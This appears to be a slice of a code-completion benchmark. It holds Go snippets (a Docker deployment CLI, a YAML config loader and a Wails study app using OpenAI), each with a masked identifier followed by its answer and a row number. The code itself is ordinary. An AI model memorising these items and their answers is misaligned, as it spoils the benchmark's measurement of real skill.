err != nil { return err } } buildPath := ""."" if v := c.String(""buildPath""); len(v) > 0 { buildPath = v } servers := config.GetServersConf() var launchArr []*treaty.Server if c.NArg() == 0 { for _, server := range servers { if server.IsLaunch { launchArr = append(launchArr, server) } } } else { for _, specialServer := range c.Args().Slice() { if server, ok := servers[specialServer]; ok { launchArr = append(launchArr, server) } else { log.Fatalf(""can't find the build server: %v"", specialServer) } } } sort.Slice(launchArr, func(i, j int) bool { return launchArr[i].LaunchWeight < launchArr[j].LaunchWeight }) ex := m.getExcludeServer(c) for _, server := range launchArr { if utils.InSlice(ex, server.ServerId) { continue } if err := m.buildServer(buildPath, server); err != nil { return err } } return nil } func (m *MicroApp) prepare(c *cli.Context) error { store, err := ini.Load(storePath) if err != nil { return err } project := m.getProject(store, c) if len(project) < 1 { return errors.New(""please set the project first"") } name := m.getAppName(store, c) if len(name) < 1 { return errors.New(""please set the app name first"") } version := m.getVersion(store, c) if len(version) < 1 { return errors.New(""please set the version first"") } cfg := m.getConfig(store, c) if len(cfg) < 1 { return errors.New(""can't find config path"") } remoteCfg := m.getRemoteConfig(store, c) if len(remoteCfg) < 1 { return errors.New(""can't find remote config path"") } network := m.getNetwork(store, c) if len(network) < 1 { return errors.New(""not set network"") } data := m.getData(store, c) if len(data) < 1 { return errors.New(""can't find data dir"") } m.readConf(data, cfg) prefix := m.getPrefix(store, c) la := m.getLabelAuthor(store, c) gv := m.getGoVersion(store, c) av := m.getAlpineVersion(store, c) m.store, m.ver, m.data, m.cfg, m.network, m.prefix, m.remoteCfg, m.project, m.author, m.goVersion, m.alpineVersion, m.name = store, version, data, cfg, network, prefix, remoteCfg, project, la, gv, av, name fmt.Printf(""project:%v,ver:%v,data:%v,cfg:%v,remoteCfg:%v,network:%v,labelAuthor:%v,goVersion:%v,alpineVersion:%v,appName:%v,prefix:%v \n"", project, version, data, cfg, remoteCfg, network, la, gv, av, name, prefix) return nil } func (m *MicroApp) version(c *cli.Context) error { cfg, err := ini.Load(storePath) if err != nil { return err } ver := c.Args().Get(0) if len(ver) > 0 { m.setProjectVar(cfg, c, dockerVer, ver) fmt.Println(""版本设置成功"") } else { ver = m.getProjectVar(cfg, c, dockerVer) if len(ver) == 0 { fmt.Println(""未设置版本"") } else { fmt.Printf(""当前版本为:%v\n"", ver) } } return nil } func (m *MicroApp) workDir(c *cli.Context) error { cfg, err := ini.Load(storePath) if err != nil { return err } dir := c.Args().Get(0) if len(dir) > 0 { m.setProjectVar(cfg, c, dockerData, dir) fmt.Println(""工作目录设置成功"") } else { dir = m.getProjectVar(cfg, c, dockerData) if len(dir) == 0 { fmt.Println(""未设置工作目录"") } else { fmt.Printf(""当前工作目录为:%v\n"", dir) } } return nil } func (m *MicroApp) runPrefix(c *cli.Context) error { cfg, err := ini.Load(storePath) if err != nil { return err } prefix := c.Args().Get(0) if len(prefix) > 0 { m.setProjectVar(cfg, c, dockerPrefix, prefix) fmt.Println(""运行前缀设置成功"") } else { prefix = m.getProjectVar(cfg, c, dockerPrefix) if len(prefix) == 0 { fmt.Println(""未设置运行前缀"") } else { fmt.Printf(""当前运行前缀为:%v\n"", prefix) } } return nil } func (m *MicroApp) appName(c *cli.Context) error { cfg, err := ini.Load(storePath) if err != nil { return err } name := c.Args().Get(0) if len(name) > 0 { m.setProjectVar(cfg, c, appName, name) m.removeDockerFile() fmt.Println(""app名称设置成功"") } else { name = m.getProjectVar(cfg, c, appName) if len(name) == 0 { fmt.Println(""app名称尚未设置"") } else { fmt.Printf(""当前app名称为:%v\n"", name) } } return nil } func (m *MicroApp) config(c *cli.Context) error { cfg, err := ini.Load(storePath) if err != nil { return err } configure := c.Args().Get(0) if len(configure) > 0 { m.setProjectVar(cfg, c, dockerConfig, configure) m.removeDockerFile() fmt.Println(""工作目录下配置文件位置设置成功"") } else { configure = m.getProjectVar(cfg, c, dockerConfig) if len(configure) == 0 { fmt.Println(""工作目录下未设置配置文件位置"") } else { fmt.Printf(""当前工作目录下配置文件位置为:%v\n"", configure) } } return nil } func (m *MicroApp) remoteConfig(c *cli.Context) error { cfg, err := ini.Load(storePath) if err != nil { return err } configure := c.Args().Get(0) if len(configure) > 0 { m.setProjectVar(cfg, c, dockerRemoteConfig, configure) m.removeDockerFile() fmt.Println(""远程配置文件位置设置成功"") } else { configure = m.getProjectVar(cfg, c, dockerRemoteConfig) if len(configure) == 0 { fmt.Println(""未设置远程配置文件位置"") } else { fmt.Printf(""当前远程配置文件位置为:%v\n"", configure) } } return nil } func (m *MicroApp) projectSet(c *cli.Context) error { cfg, err := ini.Load(storePath) if err != nil { return err } project := c.Args().Get(0) if len(project) > 0 { m.setGlobalVar(cfg, dockerProject, project) m.removeDockerFile() fmt.Println(""项目设置成功"") } else { project = m.getGlobalVar(cfg, dockerProject) if len(project) == 0 { project = defaultProject } fmt.Printf(""当前项目为:%v\n"", project) } return nil } func (m *MicroApp) labelAuthorSet(c *cli.Context) error { cfg, err := ini.Load(storePath) if err != nil { return err } author := c.Args().Get(0) if len(author) > 0 { m.setGlobalVar(cfg, labelAuthor, author) m.removeDockerFile() fmt.Println(""项目维护者设置成功"") } else { author = m.getGlobalVar(cfg, labelAuthor) if len(author) == 0 { author = defaultLabelAuthor } fmt.Printf(""当前项目维护者为:%v\n"", author) } return nil } func (m *MicroApp) alpineVersionSet(c *cli.Context) error { cfg, err := ini.Load(storePath) if err != nil { return err } version := c.Args().Get(0) if len(version) > 0 { m.setGlobalVar(cfg, alpineVersion, version) m.removeDockerFile() fmt.Println(""alpine版本设置成功"") } else { version = m.getGlobalVar(cfg, alpineVersion) if len(version) == 0 { version = defaultAlpineVersion } fmt.Printf(""当前alpine版本为:%v\n"", version) } return nil } func (m *MicroApp) goVersionSet(c *cli.Context) error { cfg, err := ini.Load(storePath) if err != nil { return err } version := c.Args().Get(0) if len(version) > 0 { m.setGlobalVar(cfg, goVersion, version) m.removeDockerFile() fmt.Println(""go版本设置成功"") } else { version = m.getGlobalVar(cfg, goVersion) if len(version) == 0 { version = defaultGoVersion } fmt.Printf(""当前go版本为:%v\n"", version) } return nil } func (m *MicroApp) registry(c *cli.Context) error { cfg, err := ini.Load(storePath) if err != nil { return err } configure := c.Args().Get(0) if len(configure) > 0 { m.setGlobalVar(cfg, dockerRegistry, configure) fmt.Println(""远程仓库地址设置成功"") } else { configure = m.getGlobalVar(cfg, dockerRegistry) if len(configure) == 0 { fmt.Println(""未设置远程仓库地址"") } else { fmt.Printf(""当前远程仓库地址为:%v\n"", configure) } } return nil } func (m *MicroApp) netView(c *cli.Context) error { cfg, err := ini.Load(storePath) if err != nil { return err } network := c.Args().Get(0) if len(network) > 0 { m.setProjectVar(cfg, c, dockerNetwork, network) fmt.Println(""运行网络设置成功"") } else { network = m.getProjectVar(cfg, c, dockerNetwork) if len(network) == 0 { fmt.Println(""未设置运行网络"") } else { fmt.Printf(""当前运行网络为:%v\n"", network) } } return nil } func (m *MicroApp) before() error { if exist, _ := utils.PathExists(storePath); !exist { fp, err := os.Create(storePath) if err != nil { return err } defer fp.Close() } return nil } func (m *MicroApp) runName(prefix, ver string, server *treaty.Server) string { if len(prefix) == 0 { return server.ServerId } return prefix + ""_"" + server.ServerId } func (m *MicroApp) runImage(prefix, ver string, server *treaty.Server) string { if len(prefix) == 0 { return fmt.Sprintf(""%v:%v"", server.ServerId, ver) } return fmt.Sprintf(""%v_%v:%v"", prefix, server.ServerId, ver) } func (m *MicroApp) runRemoteImage(depot, prefix, ver string, server *treaty.Server) string { return fmt.Sprintf(""%v/%v"", depot, m.runImage(prefix, ver, server)) } func (m *MicroApp) saveName(prefix, ver string, list []string) string { item := strings.Join(list, ""-"") if len(prefix) == 0 { return fmt.Sprintf(""%v_%v.tar"", item, ver) } return fmt.Sprintf(""%v_%v_%v.tar"", prefix, item, ver) } func (m *MicroApp) runCmd(name string, args ...string) error { cmd := exec.Command(name, args...) stdout, err := cmd.StdoutPipe() if err != nil { return err } cmd.Stderr = cmd.Stdout if err = cmd.Start(); err != nil { return err } // 从管道中实时获取输出并打印到终端 reader := bufio.NewReader(stdout) for { readString, err := reader.ReadString('\n') if err != nil || err == io.EOF { break } logger.Info(readString) } if err = cmd.Wait(); err != nil { return err } return nil } func (m *MicroApp) buildServer(buildPath string, server *treaty.Server) error { err := m.createServerDocker(server) if err != nil { return err } defer m.removeServerDocker(server) fileName := m.serverDockerName(server) args := []string{""build"", ""-f"", fileName, ""--build-arg"", fmt.Sprintf(""run_server=%v"", server.ServerId), ""--build-arg"", fmt.Sprintf(`client_port=%v`, server.ClientPort), ""-t"", m.runImage(m.prefix, m.ver, server), buildPath} return m.runCmd(""docker"", args...) } func (m *MicroApp) runServer(mem, memSwap, memKernel, cpu, cpuSet string, server *treaty.Server) error { args := []string{""run"", ""-d"", ""-v"", fmt.Sprintf(""%v:/data"", m.data), ""-p"", fmt.Sprintf(""%v:%v"", server.ClientPort, server.ClientPort), fmt.Sprintf(""--network=%s"", m.network)} if len(mem) > 0 { args = append(args, fmt.Sprintf(""--memory=%v"", mem)) } if len(memSwap) > 0 { args = append(args, fmt.Sprintf(""--memory-swap=%v"", memSwap)) } if len(memKernel) > 0 { args = append(args, fmt.Sprintf(""--kernel-memory=%v"", memKernel)) } if len(cpu) > 0 { args = append(args, fmt.Sprintf(""--cpus=%v"", cpu)) } if len(cpuSet) > 0 { args = append(args, fmt.Sprintf(""--cpuset-cpus=%v"", cpuSet)) } args = append(args, fmt.Sprintf(""--name=%v"", m.runName(m.prefix, m.ver, server)), m.runImage(m.prefix, m.ver, server)) return m.runCmd(""docker"", args...) } func (m *MicroApp) startServer(server *treaty.Server) error { args := []string{""start"", m.runName(m.prefix, m.ver, server)} return m.runCmd(""docker"", args...) } func (m *MicroApp) stopServer(server *treaty.Server) error { args := []string{""stop"", m.runName(m.prefix, m.ver, server)} return m.runCmd(""docker"", args...) } func (m *MicroApp) rmServer(server *treaty.Server) error { args := []string{""rm"", m.runName(m.prefix, m.ver, server)} return m.runCmd(""docker"", args...) } func (m *MicroApp) rmiServer(server *treaty.Server) error { args := []string{""rmi"", m.runImage(m.prefix, m.ver, server)} return m.runCmd(""docker"", args...) } func (m *MicroApp) pushServer(server *treaty.Server) error { if err := m.imageTag(m.depot, m.prefix, m.ver, server); err != nil { return err } if err := m.imagePush(m.depot, m.prefix, m.ver, server); err != nil { return err } return m.imageRemoteClear(m.depot, m.prefix, m.ver, server) } func (m *MicroApp) pullServer(server *treaty.Server) error { if err := m.imagePull(m.depot, m.prefix, m.ver, server); err != nil { return err } if err := m.imageUnTag(m.depot, m.prefix, m.ver, server); err != nil { return err } return m.imageRemoteClear(m.depot, m.prefix, m.ver, server) } func (m *MicroApp) imageTag(depot, prefix, ver string, server *treaty.Server) error { args := []string{""tag"", m.runImage(prefix, ver, server), m.runRemoteImage(depot, prefix, ver, server)} return m.runCmd(""docker"", args...) } func (m *MicroApp) imagePush(depot, prefix, ver string, server *treaty.Server) error { args := []string{""push"", m.runRemoteImage(depot, prefix, ver, server)} return m.runCmd(""docker"", args...) } func (m *MicroApp) imagePull(depot, prefix, ver string, server *treaty.Server) error { args := []string{""pull"", m.runRemoteImage(depot, prefix, ver, server)} return m.runCmd(""docker"", args...) } func (m *MicroApp) imageUnTag(depot, prefix, ver string, server *treaty.Server) error { args := []string{""tag"", m.runRemoteImage(depot, prefix, ver, server), m.runImage(prefix, ver, server)} return m.runCmd(""docker"", args...) } func (m *MicroApp) imageRemoteClear(depot, prefix, ver string, server *treaty.Server) error { args := []string{""rmi"", m.runRemoteImage(depot, prefix, ver, server)} return m.runCmd(""docker"", args...) } func (m *MicroApp) clearServer(server *treaty.Server) error { if err := m.stopServer(server); err != nil { return err } if err := m.rmServer(server); err != nil { return err } if err := m.rmiServer(server); err != nil { return err } return nil } func (m *MicroApp) getAppName(cfg *ini.File, c *cli.Context) string { name := m.getProjectVar(cfg, c, appName) if v := c.String(""appName""); len(v) > 0 { name = v } return name } func (m *MicroApp) getVersion(cfg *ini.File, c *cli.Context) string { version := m.getProjectVar(cfg, c, dockerVer) if ver := c.String(""version""); len(ver) > 0 { version = ver } return version } func (m *MicroApp) getData(cfg *ini.File, c *cli.Context) string { dir := m.getProjectVar(cfg, c, dockerData) if tmp := c.String(""data""); len(tmp) > 0 { dir = tmp } return dir } func (m *MicroApp) getConfig(cfg *ini.File, c *cli.Context) string { configure := m.getProjectVar(cfg, c, dockerConfig) if tmp := c.String(""config""); len(tmp) > 0 { configure = tmp } return configure } func (m *MicroApp) getRemoteConfig(cfg *ini.File, c *cli.Context) string { configure := m.getProjectVar(cfg, c, dockerRemoteConfig) if tmp := c.String(""remoteConfig""); len(tmp) > 0 { configure = tmp } if len(configure) == 0 { configure = m.getConfig(cfg, c) } return configure } func (m *MicroApp) getProject(cfg *ini.File, c *cli.Context) string { project := m.getGlobalVar(cfg, dockerProject) if tmp := c.String(""project""); len(tmp) > 0 { project = tmp } if len(project) == 0 { project = defaultProject } return project } func (m *MicroApp) getLabelAuthor(cfg *ini.File, c *cli.Context) string { author := m.getGlobalVar(cfg, labelAuthor) if tmp := c.String(""labelAuthor""); len(tmp) > 0 { author = tmp } if len(author) == 0 { author = defaultLabelAuthor } return author } func (m *MicroApp) getGoVersion(cfg *ini.File, c *cli.Context) string { version := m.getGlobalVar(cfg, goVersion) if tmp := c.String(""goVersion""); len(tmp) > 0 { version = tmp } if len(version) == 0 { version = defaultGoVersion } return version } func (m *MicroApp) getAlpineVersion(cfg *ini.File, c *cli.Context) string { version := m.getGlobalVar(cfg, alpineVersion) if tmp := c.String(""alpineVersion""); len(tmp) > 0 { version = tmp } if len(version) == 0 { version = defaultAlpineVersion } return version } func (m *MicroApp) getNetwork(cfg *ini.File, c *cli.Context) string { network := m.getProjectVar(cfg, c, dockerNetwork) if tmp := c.String(""network""); len(tmp) > 0 { network = tmp } return network } func (m *MicroApp) getRegistry(cfg *ini.File, c *cli.Context) string { registry := m.getGlobalVar(cfg, dockerRegistry) if tmp := c.String(""registry""); len(tmp) > 0 { registry = tmp } return registry } func (m *MicroApp) getPrefix(cfg *ini.File, c *cli.Context) string { prefix := m.getProjectVar(cfg, c, dockerPrefix) if tmp := c.String(""prefix""); len(tmp) > 0 { prefix = tmp if prefix == Null { prefix = """" } } return prefix } func (m *MicroApp) getProjectVar(cfg *ini.File, c *cli.Context, key string) string { project := m.getProject(cfg, c) return cfg.Section(project).Key(key).String() } func (m *MicroApp) setProjectVar(cfg *ini.File, c *cli.Context, key, val string) { if val == Null { val = """" } project := m.getProject(cfg, c) cfg.Section(project).Key(key).SetValue(val) cfg.SaveTo(storePath) } func (m *MicroApp) getGlobalVar(cfg *ini.File, key string) string { return cfg.Section("""").Key(key).String() } func (m *MicroApp) setGlobalVar(cfg *ini.File, key, val string) { if val == Null { val = """" } cfg.Section("""").Key(key).SetValue(val) cfg.SaveTo(storePath) } func (m *MicroApp) readConf(data, [MASK] string) { cfg := path.Join(data, [MASK] ) viper.SetConfigFile(cfg) if err := viper.ReadInConfig(); err != nil { panic(err) } //frame init frameCfg := viper.Get(""frame"") if err := config.InitFrameConf(frameCfg); err != nil { logger.Fatal(err) } } func (m *MicroApp) getExcludeServer(c *cli.Context) []string { data := c.String(""exclude"") if len(data) > 0 { logger.Infof(""exclude servers:%v"", data) } return strings.Split(data, "","") } ",cfgPath 517,"package main import ( ""io/ioutil"" ""gopkg.in/yaml.v2"" ) var Conf = &struct { Log LogConf `yaml:""log""` Beanstalk BeanstalkConf `yaml:""beanstalk""` Database DatabaseConf `yaml:""database""` Task TaskConf `yaml:""task""` }{} type LogConf struct { Dir string `yaml:""dir""` Level string `yaml:""level""` } type BeanstalkConf struct { Host string `yaml:""host""` Port int `yaml:""port""` ReserveTube string `yaml:""reserve_tube""` ReserveTimeout int `yaml:""reserve_timeout""` PutTubeTask string `yaml:""put_tube_task""` PutTubeMsg string `yaml:""put_tube_msg""` PutTubePriority int `yaml:""put_tube_priority""` PutTubeDelay int `yaml:""put_tube_delay""` PutTubeTTR int `yaml:""put_tube_ttr""` } type DatabaseConf struct { Host string `yaml:""host""` Port int `yaml:""port""` DB string `yaml:""db""` User string `yaml:""user""` Password string `yaml:""""` Params map[string]string `yaml:""params""` } type TaskConf struct { PollingInterval int `yaml:""polling_interval""` DispatchDuration int `yaml:""dispatch_duration""` Overload int `yaml:""overload""` } func LoadConf( [MASK] string) error { data, e := ioutil.ReadFile( [MASK] ) if e != nil { return e } return yaml.Unmarshal(data, Conf) } ",file 518,"package main import ( ""context"" ""encoding/json"" ""fluent/backend/chatmaster"" ""fluent/backend/db"" ""fluent/backend/extraction"" ""fluent/backend/openai"" ""fmt"" ""log"" ""math"" ""os"" ""strings"" ""time"" ""github.com/wailsapp/wails/v2/pkg/runtime"" ) // App struct type App struct { ctx context.Context openaiClient *openai.OpenAIClient extractor *extraction.Extractor } // NewApp creates a new App application struct func NewApp() *App { return &App{} } // startup is called when the app starts. The context is saved // so we can call the runtime methods func (a *App) startup(ctx context.Context) { a.ctx = ctx if os.Getenv(""OPENAI_API_KEY"") == """" { apiKeyBytes, err := os.ReadFile(""backend/secret/openai.token"") if err == nil { apiKey := strings.TrimSpace(string(apiKeyBytes)) os.Setenv(""OPENAI_API_KEY"", apiKey) log.Println(""OpenAI API key loaded successfully from token file"") } else { log.Printf(""Warning: Failed to load OpenAI API key from file: %v"", err) log.Println(""Please set OPENAI_API_KEY environment variable or create a token file at backend/secret/openai.token"") } } else { log.Println(""Using existing OPENAI_API_KEY from environment"") } //startup db _, err := db.InitDB() if err != nil { runtime.LogError(ctx, ""Failed to init db: ""+err.Error()) } //init OpenAI client a.openaiClient, err = openai.NewOpenAIClient() if err != nil { runtime.LogError(ctx, ""Failed to init OpenAI client: ""+err.Error()) } //init the extractor a.extractor = extraction.NewExtractor(a.openaiClient) // Set window transparency runtime.WindowSetBackgroundColour(ctx, 0, 0, 0, 0) runtime.WindowSetDarkTheme(ctx) } // ProcessTextToFactoids processes uploaded text into factoids (THIS CALLS PARSING AGENT) func (a *App) ProcessTextToFactoids(classUUID string, sessionID string, text string) (string, error) { if a.openaiClient == nil || a.extractor == nil { return """", fmt.Errorf(""openai client or extractor not initialized"") } //process using the new extractor factoids, err := a.extractor.ProcessTextToFactoids(a.ctx, text, classUUID, sessionID) if err != nil { runtime.LogError(a.ctx, ""failed to process text to factoids: ""+err.Error()) return """", err } //convert to db dbFactoids := make([]db.FactoidData, len(factoids)) for i, f := range factoids { dbFactoids[i] = db.FactoidData{ Question: f.Question, Answer: f.Answer, Type: f.Type, Verbatim: f.Verbatim, Context: f.Context, RequiresClarification: f.RequiresClarification, AlternativeSubjectsCount: f.AlternativeSubjectsCount, Difficulty: 3, //default is middle difficulty Examples: f.Examples, } } //json factoidsJSON, err := json.Marshal(dbFactoids) if err != nil { runtime.LogError(a.ctx, ""failed to marshal factoids: ""+err.Error()) return """", err } //store err = db.StoreFactoids(classUUID, sessionID, string(factoidsJSON)) if err != nil { runtime.LogError(a.ctx, ""failed to store factoids: ""+err.Error()) return """", err } log.Printf(""proc'd and stored %d factoids"", len(factoids)) return string(factoidsJSON), nil } // GetFactoids retrieves factoids for a class/course/profile func (a *App) GetFactoids(classUUID string) ([]db.FactoidData, error) { factoids, err := db.GetFactoids(classUUID) if err != nil { runtime.LogError(a.ctx, ""failed to get factoids: ""+err.Error()) return nil, err } return factoids, nil } // GetDueFactoids retrieves factoids due for review func (a *App) GetDueFactoids(classUUID string) ([]db.FactoidData, error) { factoids, err := db.GetDueFactoids(classUUID) if err != nil { runtime.LogError(a.ctx, ""failed to get due factoids: ""+err.Error()) return nil, err } return factoids, nil } // UpdateFactoidReview makes it update, after we already did the review func (a *App) UpdateFactoidReview(factoidID string, classUUID string, rating int) error { err := db.UpdateFactoidReview(factoidID, classUUID, rating, 0, time.Time{}) if err != nil { runtime.LogError(a.ctx, ""Failed to update factoid review: ""+err.Error()) return err } return nil } func (a *App) GetProfiles() []db.Profile { profiles, err := db.GetProfiles() if err != nil { runtime.LogError(a.ctx, ""faild to get profs: ""+err.Error()) return []db.Profile{} } for i, profile := range profiles { if profile.ClassUUID != """" { factoidCount, err := db.CountAllFactoids(profile.ClassUUID) if err == nil { profiles[i].TotalPossibleDrops = int(math.Max(float64(profile.TotalPossibleDrops), math.Max(float64(profile.CurrentDrops), float64(factoidCount)))) } } } profiles = append(profiles, db.Profile{ Name: ""Add New"", Emoji: ""➕"", GlowColor: ""rgba(52, 211, 153, 0.5)"", CurrentDrops: 0, TotalPossibleDrops: 0, }) return profiles } //get data for the database explorer func (a *App) GetDatabaseExplorerData(classUUID string) (*db.DatabaseExplorerData, error) { data, err := db.GetDatabaseExplorerData(classUUID) if err != nil { runtime.LogError(a.ctx, ""Failed to get database explorer data: ""+err.Error()) return nil, err } return data, nil } func (a *App) AddProfile(profile db.Profile) error { return db.AddProfile(profile) } func (a *App) UpdateProfileName(oldName, newName string) error { return db.UpdateProfileName(oldName, newName) } func (a *App) DeleteProfile(name string) error { return db.DeleteProfile(name) } func (a *App) UpdateDrops(name string, drops int, totalPossibleDrops int) error { // totalPossibleDrops cannot be less than drops if totalPossibleDrops < drops { totalPossibleDrops = drops } return db.UpdateDrops(name, drops, totalPossibleDrops) } func (a *App) UpdateProfileGlowColor(name string, [MASK] string) error { return db.UpdateProfileGlowColor(name, [MASK] ) } func (a *App) CreateLearnSession(classUUID string, content string, conversationJSON string) (string, error) { sessionID := fmt.Sprintf(""session_%d"", time.Now().UnixNano()) ctx := context.Background() factoids, err := a.extractor.ProcessTextToFactoids(ctx, content, classUUID, sessionID) if err != nil { runtime.LogError(a.ctx, ""Failed to process text to factoids: ""+err.Error()) return """", err } cm := chatmaster.NewChatMaster(a.openaiClient) dbFactoids := make([]db.FactoidData, 0, len(factoids)) for _, f := range factoids { dbFactoid := db.FactoidData{ Question: f.Question, Answer: f.Answer, Type: f.Type, Verbatim: f.Verbatim, Context: f.Context, RequiresClarification: f.RequiresClarification, AlternativeSubjectsCount: f.AlternativeSubjectsCount, Difficulty: f.Difficulty, Examples: f.Examples, LastReview: f.LastReview, NextReview: f.NextReview, Stability: f.Stability, ClassUUID: classUUID, } factoidID, err := db.StoreFactoid(classUUID, dbFactoid) if err != nil { runtime.LogError(a.ctx, ""Failed to store factoid: ""+err.Error()) continue } dbFactoid.ID = factoidID dbFactoids = append(dbFactoids, dbFactoid) } session, err := cm.SaveFactoidsToSession(dbFactoids, classUUID) if err != nil { runtime.LogError(a.ctx, ""Failed to create session: ""+err.Error()) return """", err } if conversationJSON != """" && session != nil { err = a.UpdateSessionChatHistory(classUUID, session.ID, conversationJSON) if err != nil { runtime.LogError(a.ctx, ""Failed to initialize conversation: ""+err.Error()) } } log.Printf(""Created session %s with %d factoids"", session.ID, len(dbFactoids)) if session != nil && session.CurrentFactoid != """" { _, err := cm.InitiateFactoidConversation(ctx, classUUID, session.ID) if err != nil { log.Printf(""Warning: Failed to initiate factoid conversation: %v"", err) } else { log.Printf(""Successfully initiated factoid conversation for new session %s"", session.ID) } } return session.ID, nil } func (a *App) ProcessUserMessage(classUUID string, message string) (map[string]interface{}, error) { ctx := context.Background() cm := chatmaster.NewChatMaster(a.openaiClient) response, outcome, err := cm.ProcessUserMessage(ctx, classUUID, message) if err != nil { runtime.LogError(a.ctx, ""Failed to process user message: ""+err.Error()) return nil, err } cleanResponse := chatmaster.ExtractResponseContent(response) sessions, err := cm.ListSessionsByActivity(classUUID) if err != nil || len(sessions) == 0 { return map[string]interface{}{ ""content"": cleanResponse, ""outcome"": string(outcome), ""dropsAwarded"": 0, }, nil } session, err := cm.GetSession(classUUID, sessions[0]) dropsAwarded := 0 if err == nil && session != nil { dropsAwarded = session.DropsAwarded if outcome == chatmaster.OutcomeSuccess { profiles, err := db.GetProfiles() if err == nil { for _, profile := range profiles { if profile.ClassUUID == classUUID { currentDrops := profile.CurrentDrops + 1 err := db.UpdateDrops(profile.Name, currentDrops, profile.TotalPossibleDrops) if err != nil { log.Printf(""Warning: Failed to update drops for profile %s: %v"", profile.Name, err) } else { log.Printf(""Successfully awarded 1 drop to profile %s (new total: %d)"", profile.Name, currentDrops) } break } } } if session.CurrentFactoid != """" && (outcome == chatmaster.OutcomeSuccess || outcome == chatmaster.OutcomePostpone) { log.Printf(""Moving to next factoid %s after %s outcome"", session.CurrentFactoid, outcome) } } } result := map[string]interface{}{ ""content"": cleanResponse, ""outcome"": string(outcome), ""dropsAwarded"": dropsAwarded, } return result, nil } func (a *App) GetSessionStatistics(classUUID string, sessionID string) (map[string]interface{}, error) { cm := chatmaster.NewChatMaster(a.openaiClient) if sessionID == """" { sessions, err := cm.ListSessionsByActivity(classUUID) if err != nil || len(sessions) == 0 { return nil, fmt.Errorf(""no sessions found for class %s"", classUUID) } sessionID = sessions[0] log.Printf(""Using most recent session: %s"", sessionID) } session, err := cm.GetSession(classUUID, sessionID) if err != nil { runtime.LogError(a.ctx, ""Failed to get session: ""+err.Error()) return nil, err } factoids, err := db.GetFactoids(classUUID) if err != nil { runtime.LogError(a.ctx, ""Failed to get factoids: ""+err.Error()) } relevantFactoids := make([]db.FactoidData, 0) factoidMap := make(map[string]db.FactoidData) for _, f := range factoids { factoidMap[f.ID] = f } for _, id := range session.CompletedQueue { if factoid, exists := factoidMap[id]; exists { relevantFactoids = append(relevantFactoids, factoid) } } if session.CurrentFactoid != """" { if factoid, exists := factoidMap[session.CurrentFactoid]; exists { relevantFactoids = append(relevantFactoids, factoid) } } for _, id := range session.FactoidQueue { if factoid, exists := factoidMap[id]; exists { relevantFactoids = append(relevantFactoids, factoid) } } stats := map[string]interface{}{ ""session_id"": session.ID, ""total_factoids"": len(session.CompletedQueue) + len(session.FactoidQueue) + (map[bool]int{true: 1, false: 0})[session.CurrentFactoid != """"], ""completed_factoids"": len(session.CompletedQueue), ""remaining_factoids"": len(session.FactoidQueue) + (map[bool]int{true: 1, false: 0})[session.CurrentFactoid != """"], ""drops_awarded"": session.DropsAwarded, ""status"": session.Status, ""chat_history"": session.ChatHistory, ""factoids"": relevantFactoids, ""created_at"": session.CreatedAt, ""last_activity"": session.LastActivity, } return stats, nil } func (a *App) ListSessionsByActivity(classUUID string) ([]string, error) { cm := chatmaster.NewChatMaster(a.openaiClient) sessions, err := cm.ListSessionsByActivity(classUUID) if err != nil { runtime.LogError(a.ctx, ""Failed to list sessions: ""+err.Error()) return nil, err } return sessions, nil } func (a *App) ResumeSession(classUUID string, sessionID string) error { cm := chatmaster.NewChatMaster(a.openaiClient) ctx := context.Background() if sessionID == """" { sessions, err := cm.ListSessionsByActivity(classUUID) if err != nil || len(sessions) == 0 { return fmt.Errorf(""no sessions found for class %s"", classUUID) } sessionID = sessions[0] log.Printf(""Using most recent session: %s"", sessionID) } session, err := cm.GetSession(classUUID, sessionID) if err != nil { return fmt.Errorf(""failed to get session: %v"", err) } if session.Status != ""paused"" && session.Status != ""completed"" { log.Printf(""Session %s is already active (status: %s)"", sessionID, session.Status) return nil } err = cm.ResumeSession(classUUID, sessionID) if err != nil { runtime.LogError(a.ctx, ""Failed to resume session: ""+err.Error()) return err } log.Printf(""Successfully resumed session %s"", sessionID) if session.CurrentFactoid != """" { _, err := cm.InitiateFactoidConversation(ctx, classUUID, sessionID) if err != nil { log.Printf(""Warning: Failed to initiate factoid conversation on resume: %v"", err) } else { log.Printf(""Successfully initiated factoid conversation for resumed session %s"", sessionID) } } return nil } func (a *App) RecordAIUploadHistory(classUUID string, content string) error { log.Printf(""Recorded content upload for class %s (%d bytes)"", classUUID, len(content)) //fixlater1!! return nil } // RecordAIChatHistory records an AI chat interaction in history func (a *App) RecordAIChatHistory(classUUID string, sessionID string, prompt string, response string, tokens int, cost float64) error { err := db.RecordAIChatHistory(classUUID, sessionID, prompt, response, tokens, cost) if err != nil { runtime.LogError(a.ctx, ""Failed to record AI chat history: ""+err.Error()) return err } return nil } // RecordAIParserHistory records an AI parser interaction in history func (a *App) RecordAIParserHistory(classUUID string, sessionID string, prompt string, response string, tokens int, cost float64) error { err := db.RecordAIParserHistory(classUUID, sessionID, prompt, response, tokens, cost) if err != nil { runtime.LogError(a.ctx, ""Failed to record AI parser history: ""+err.Error()) return err } return nil } // UpdateSessionChatHistory updates the chat history for a session func (a *App) UpdateSessionChatHistory(classUUID string, sessionID string, chatHistoryJSON string) error { chatHistory := json.RawMessage(chatHistoryJSON) err := db.UpdateSessionChatHistory(classUUID, sessionID, chatHistory) if err != nil { runtime.LogError(a.ctx, ""Failed to update session chat history: ""+err.Error()) return err } return nil } // EndSession marks a session as ended func (a *App) EndSession(classUUID string, sessionID string) error { log.Printf(""Ending session %s for class %s"", sessionID, classUUID) //new chatmaster cm := chatmaster.NewChatMaster(a.openaiClient) session, err := cm.GetSession(classUUID, sessionID) if err != nil { log.Printf(""Error getting session %s: %v"", sessionID, err) return fmt.Errorf(""failed to get session: %v"", err) } if session.Status == ""completed"" { log.Printf(""Session %s is already completed, skipping end operation"", sessionID) return nil } err = cm.EndSession(classUUID, sessionID) if err != nil { runtime.LogError(a.ctx, ""Failed to end session via ChatMaster: ""+err.Error()) //continue anyway to try the database update } //also update the database record to add end_timestamp err = db.EndSession(classUUID, sessionID) if err != nil { runtime.LogError(a.ctx, ""Failed to end session in database: ""+err.Error()) return err } //get session to confirm it's properly marked as inactive or completed session, err = cm.GetSession(classUUID, sessionID) if err != nil { runtime.LogError(a.ctx, ""Failed to get session after ending it: ""+err.Error()) } else { log.Printf(""Session %s status after ending: %s"", sessionID, session.Status) } log.Printf(""Successfully ended session %s"", sessionID) return nil } // GetClassSessions retrieves all sessions for a class func (a *App) GetClassSessions(classUUID string) ([]db.SessionData, error) { sessions, err := db.GetClassSessions(classUUID) if err != nil { 